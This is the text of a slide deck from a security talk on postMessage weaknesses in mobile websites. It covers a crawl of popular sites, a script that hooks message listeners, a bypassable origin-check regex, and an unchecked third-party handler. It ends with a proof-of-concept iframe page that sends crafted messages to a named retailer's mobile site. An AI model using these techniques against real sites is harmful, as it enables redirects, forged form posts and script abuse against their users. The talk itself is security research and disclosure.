88
THE POSTMAN ALWAYS RINGS TWICE ATTACKING AND DEFENDING postMessage LUKAS KLEIN 1

Attacking and defending HTML5 postMessage in mobile websites

Embed Size (px)

Citation preview

Page 1: Attacking and defending HTML5 postMessage in mobile websites

THE POSTMAN ALWAYS RINGS TWICE ATTACKING AND DEFENDING postMessage LUKAS KLEIN

1

Page 2: Attacking and defending HTML5 postMessage in mobile websites

postMessage?

2

Page 3: Attacking and defending HTML5 postMessage in mobile websites

postMessage?

3

Page 4: Attacking and defending HTML5 postMessage in mobile websites

postMessage?

•controlled mechanism to circumvent SOP

3

Page 5: Attacking and defending HTML5 postMessage in mobile websites

postMessage?

•controlled mechanism to circumvent SOP

•dispatches MessageEvent

3

Page 6: Attacking and defending HTML5 postMessage in mobile websites

postMessage?

•controlled mechanism to circumvent SOP

•dispatches MessageEvent

•type (always “message”)

3

Page 7: Attacking and defending HTML5 postMessage in mobile websites

postMessage?

•controlled mechanism to circumvent SOP

•dispatches MessageEvent

•type (always “message”)

•data (user supplied)

3

Page 8: Attacking and defending HTML5 postMessage in mobile websites

postMessage?

•controlled mechanism to circumvent SOP

•dispatches MessageEvent

•type (always “message”)

•data (user supplied)

•origin (origin of the window calling)

3

Page 9: Attacking and defending HTML5 postMessage in mobile websites

postMessage?

•controlled mechanism to circumvent SOP

•dispatches MessageEvent

•type (always “message”)

•data (user supplied)

•origin (origin of the window calling)

•source (window calling)

3

Page 10: Attacking and defending HTML5 postMessage in mobile websites

postMessage?

•controlled mechanism to circumvent SOP

•dispatches MessageEvent

•type (always “message”)

•data (user supplied)

•origin (origin of the window calling)

•source (window calling)

4

Page 11: Attacking and defending HTML5 postMessage in mobile websites

•dispatches MessageEvent

•type (always “message”)

•data (user supplied)

•origin (origin of the window calling)

•source (window calling)

postMessage?

5

Page 12: Attacking and defending HTML5 postMessage in mobile websites

•dispatches MessageEvent

•type (always “message”)

•data (user supplied)

•origin (origin of the window calling)

•source (window calling)

postMessage?

http://hostname:port

6

Page 13: Attacking and defending HTML5 postMessage in mobile websites

•dispatches MessageEvent

•type (always “message”)

•data (user supplied)

•origin (origin of the window calling)

•source (window calling)

postMessage?

http://hostname:port

7

Page 14: Attacking and defending HTML5 postMessage in mobile websites

•dispatches MessageEvent

•type (always “message”)

•data (user supplied)

•origin (origin of the window calling)

•source (window calling)

postMessage?

http://hostname:port

8

Page 15: Attacking and defending HTML5 postMessage in mobile websites

•dispatches MessageEvent

•type (always “message”)

•data (user supplied)

•origin (origin of the window calling)

•source (window calling)

postMessage?

http://hostname:port

9

Page 16: Attacking and defending HTML5 postMessage in mobile websites

Potential Problems

10

Page 17: Attacking and defending HTML5 postMessage in mobile websites

Potential Problems

•You HAVE to check the origin

10

Page 18: Attacking and defending HTML5 postMessage in mobile websites

Potential Problems

•You HAVE to check the origin

11

Page 19: Attacking and defending HTML5 postMessage in mobile websites

Potential Problems

•You HAVE to check the origin

•CORRECTLY!

12

Page 20: Attacking and defending HTML5 postMessage in mobile websites

Mobile Detector

13

Page 21: Attacking and defending HTML5 postMessage in mobile websites

Mobile Detector

14

Page 22: Attacking and defending HTML5 postMessage in mobile websites

Mobile Detector

• for site in alexa_top_10000:

14

Page 23: Attacking and defending HTML5 postMessage in mobile websites

Mobile Detector

• for site in alexa_top_10000:• desktop_url = request(site, user_agent=desktop)

14

Page 24: Attacking and defending HTML5 postMessage in mobile websites

Mobile Detector

• for site in alexa_top_10000:• desktop_url = request(site, user_agent=desktop)• mobile_url = request(site, user_agent=mobile)

14

Page 25: Attacking and defending HTML5 postMessage in mobile websites

Mobile Detector

• for site in alexa_top_10000:• desktop_url = request(site, user_agent=desktop)• mobile_url = request(site, user_agent=mobile)

14

Page 26: Attacking and defending HTML5 postMessage in mobile websites

Mobile Detector

• for site in alexa_top_10000:• desktop_url = request(site, user_agent=desktop)• mobile_url = request(site, user_agent=mobile)

• if desktop_url != mobile_url:

14

Page 27: Attacking and defending HTML5 postMessage in mobile websites

Mobile Detector

• for site in alexa_top_10000:• desktop_url = request(site, user_agent=desktop)• mobile_url = request(site, user_agent=mobile)

• if desktop_url != mobile_url:• has_mobile_version = True

14

Page 28: Attacking and defending HTML5 postMessage in mobile websites

Mobile Detector

15

Page 29: Attacking and defending HTML5 postMessage in mobile websites

Mobile Detector

• ~ 2500 dedicated mobile sites

15

Page 30: Attacking and defending HTML5 postMessage in mobile websites

Mobile Detector

• ~ 2500 dedicated mobile sites

• Many false positives

15

Page 31: Attacking and defending HTML5 postMessage in mobile websites

Mobile Detector

• ~ 2500 dedicated mobile sites

• Many false positives

• http://site.tld/?session=123 vs. http://site.tld/?session=456

15

Page 32: Attacking and defending HTML5 postMessage in mobile websites

Mobile Detector

• ~ 2500 dedicated mobile sites

• Many false positives

• http://site.tld/?session=123 vs. http://site.tld/?session=456

• After manual cleanup: ~2170 mobile sites remaining

15

Page 33: Attacking and defending HTML5 postMessage in mobile websites

Mobile Detector

• ~ 2500 dedicated mobile sites

• Many false positives

• http://site.tld/?session=123 vs. http://site.tld/?session=456

• After manual cleanup: ~2170 mobile sites remaining

• Most common:

15

Page 34: Attacking and defending HTML5 postMessage in mobile websites

Mobile Detector

• ~ 2500 dedicated mobile sites

• Many false positives

• http://site.tld/?session=123 vs. http://site.tld/?session=456

• After manual cleanup: ~2170 mobile sites remaining

• Most common:

• m.domain

15

Page 35: Attacking and defending HTML5 postMessage in mobile websites

Mobile Detector

• ~ 2500 dedicated mobile sites

• Many false positives

• http://site.tld/?session=123 vs. http://site.tld/?session=456

• After manual cleanup: ~2170 mobile sites remaining

• Most common:

• m.domain

• domain/m

15

Page 36: Attacking and defending HTML5 postMessage in mobile websites

Mobile Detector

• ~ 2500 dedicated mobile sites

• Many false positives

• http://site.tld/?session=123 vs. http://site.tld/?session=456

• After manual cleanup: ~2170 mobile sites remaining

• Most common:

• m.domain

• domain/m

• domain/mobile

15

Page 37: Attacking and defending HTML5 postMessage in mobile websites

Data Collector

16

Page 38: Attacking and defending HTML5 postMessage in mobile websites

Data Collector

17

Page 39: Attacking and defending HTML5 postMessage in mobile websites

Data Collectorpage.settings.userAgent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) …

17

Page 40: Attacking and defending HTML5 postMessage in mobile websites

Data Collectorpage.settings.userAgent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) …

page.onInitialized = function() { page.evaluate(function() {

}); };

17

Page 41: Attacking and defending HTML5 postMessage in mobile websites

Data Collectorpage.settings.userAgent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) …

page.onInitialized = function() { page.evaluate(function() {

}); };

page.open(args[1], function(status) { phantom.exit(); });

17

Page 42: Attacking and defending HTML5 postMessage in mobile websites

Data Collectorpage.settings.userAgent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) …

page.onInitialized = function() { page.evaluate(function() {

}); };

(function(oldEventListener) { var logReceiver = function(location, name, code) { /* Logs the location, receiver name and receiver code to our web api */ xmlhttp = new XMLHttpRequest(); xmlhttp.open('POST', 'https://collector.herokuapp.com/receivers/', true); var params = 'url=' + encodeURIComponent(location) + \

'&receiver_name=' + encodeURIComponent(name) + \ ’&receiver_code=' + encodeURIComponent(code);

xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xmlhttp.setRequestHeader('Content-Length', params.length); xmlhttp.setRequestHeader('Connection', 'close'); xmlhttp.send(params); };

// Overwrite the window.addEventListener function window.addEventListener = function(type, listener, useCapture) { if(/message/i.test(type)) { // If event is of type message logReceiver(document.location, listener.name || '-', listener.toString()); } } })(window.addEventListener);

page.open(args[1], function(status) { phantom.exit(); });

17

Page 43: Attacking and defending HTML5 postMessage in mobile websites

Data Collector

18

Page 44: Attacking and defending HTML5 postMessage in mobile websites

Data Collector

18

Page 45: Attacking and defending HTML5 postMessage in mobile websites

Data Collector

18

Page 46: Attacking and defending HTML5 postMessage in mobile websites

Data Collector

18

Page 47: Attacking and defending HTML5 postMessage in mobile websites

Data Collector

18

Page 48: Attacking and defending HTML5 postMessage in mobile websites

Data Collector

18

Page 49: Attacking and defending HTML5 postMessage in mobile websites

19

Page 50: Attacking and defending HTML5 postMessage in mobile websites

20

Page 51: Attacking and defending HTML5 postMessage in mobile websites

21

Page 52: Attacking and defending HTML5 postMessage in mobile websites

22

Page 53: Attacking and defending HTML5 postMessage in mobile websites

Data Collector

23

Page 54: Attacking and defending HTML5 postMessage in mobile websites

Data Collector

• ~2800 Receivers

23

Page 55: Attacking and defending HTML5 postMessage in mobile websites

Data Collector

• ~2800 Receivers

• ~800 Uniques

23

Page 56: Attacking and defending HTML5 postMessage in mobile websites

24

Page 57: Attacking and defending HTML5 postMessage in mobile websites

function ka(a) { if (/[\/|\.]chartbeat\.com$/.test(a.origin)) { ... } }

25

Page 58: Attacking and defending HTML5 postMessage in mobile websites

[\/|\.]chartbeat\.com$

26

Page 59: Attacking and defending HTML5 postMessage in mobile websites

[\/|\.]chartbeat\.com$

27

Page 60: Attacking and defending HTML5 postMessage in mobile websites

[\/|\.]chartbeat\.com$

/ or | or .

28

Page 61: Attacking and defending HTML5 postMessage in mobile websites

lukasklein.com/chartbeat.com

is valid!

29

Page 62: Attacking and defending HTML5 postMessage in mobile websites

30

Page 63: Attacking and defending HTML5 postMessage in mobile websites

31

Page 64: Attacking and defending HTML5 postMessage in mobile websites

32

Page 65: Attacking and defending HTML5 postMessage in mobile websites

32

Page 66: Attacking and defending HTML5 postMessage in mobile websites

32

Page 67: Attacking and defending HTML5 postMessage in mobile websites

32

Page 68: Attacking and defending HTML5 postMessage in mobile websites

32

Page 69: Attacking and defending HTML5 postMessage in mobile websites

32

Page 70: Attacking and defending HTML5 postMessage in mobile websites

33

Page 71: Attacking and defending HTML5 postMessage in mobile websites

function (e) { /* Our messages are always exchanged using a string protocol, If the data is not a string, we should skip the parsing */ if (typeof e.data !== 'string') return;

var message = e.data.split(',')[0] var value = e.data.split(',')[1] if ( message === "close" ) { esc(value, true) } if ( message === "redirect" ) { yiel.yieldify_will_redirect = true form_refill_capture(); value = e.data.substring(e.data.indexOf(",")+1) window.location.href = value } if ( message === "direct_show" ) { yiel.fn.deleteYieldifyCookie("after_submit") yiel_visible("campaign",value, true); } if ( message === "form" ) { var s = value.split(';')[1] s = decodeURIComponent(s) var data = {} var sp= s.split('&') var key,aa; var i; for(i=0;i<sp.length;i++){ key = sp[i] aa=key.split('=') data[aa[0]] = aa[1] } if(value.split(';').length == 2){ yiel_post_to_url(value.split(';')[0], data, "") }else{ yiel_post_to_url(value.split(';')[0], data, value.split(';')[2]) } esc(value) } if ( message === "sales" ) { //If click a link and the id for this campaign was asked to track sales then add //a cookie by id for this campaign //The value is the id var track_sales = yiel.overlays_y[value].track_sales if(yiel.website.track_sale!=null && yiel.website.track_sale!="" && track_sales!=null var saleCookie = yiel.fn.getYieldifyCookie("sale") /*if (saleCookie!=null && saleCookie!=""){ value = saleCookie + "," + value }*/

…34

Page 72: Attacking and defending HTML5 postMessage in mobile websites

No origin check

at all 35

Page 73: Attacking and defending HTML5 postMessage in mobile websites

But wait, there is security!

36

Page 74: Attacking and defending HTML5 postMessage in mobile websites

/* Our messages are always exchanged using a string protocol, If the data is not a string, we should skip the parsing */ if (typeof e.data !== 'string') return;

37

Page 75: Attacking and defending HTML5 postMessage in mobile websites

38

Page 76: Attacking and defending HTML5 postMessage in mobile websites

String protocol

39

Page 77: Attacking and defending HTML5 postMessage in mobile websites

message,value

40

Page 78: Attacking and defending HTML5 postMessage in mobile websites

message,value

41

Page 79: Attacking and defending HTML5 postMessage in mobile websites

message,value

•redirect

41

Page 80: Attacking and defending HTML5 postMessage in mobile websites

message,value

•redirect

•form

41

Page 81: Attacking and defending HTML5 postMessage in mobile websites

message,value

•redirect

•form

•showalert

41

Page 82: Attacking and defending HTML5 postMessage in mobile websites

showalert

if ( message === "showalert" ) { alert(value) }

42

Page 83: Attacking and defending HTML5 postMessage in mobile websites

POC

43

Page 84: Attacking and defending HTML5 postMessage in mobile websites

<iframe id="victim" src=“\ http://www.anthropologie.eu/mobile/index.jsp?currency=200004"></iframe>

<script> var attack = function() { var victim = document.getElementById('victim').contentWindow; victim.postMessage('showalert,haha', 'http://www.anthropologie.eu'); }; </script> <button onclick="attack()">Attack</button>

44

Page 85: Attacking and defending HTML5 postMessage in mobile websites

<iframe id="victim" src=“\ http://www.anthropologie.eu/mobile/index.jsp?currency=200004"></iframe>

<script> var attack = function() { var victim = document.getElementById('victim').contentWindow; victim.postMessage('showalert,haha', 'http://www.anthropologie.eu'); }; </script> <button onclick="attack()">Attack</button>

45

Page 86: Attacking and defending HTML5 postMessage in mobile websites

46

Page 87: Attacking and defending HTML5 postMessage in mobile websites

47

Page 88: Attacking and defending HTML5 postMessage in mobile websites

Q&A

48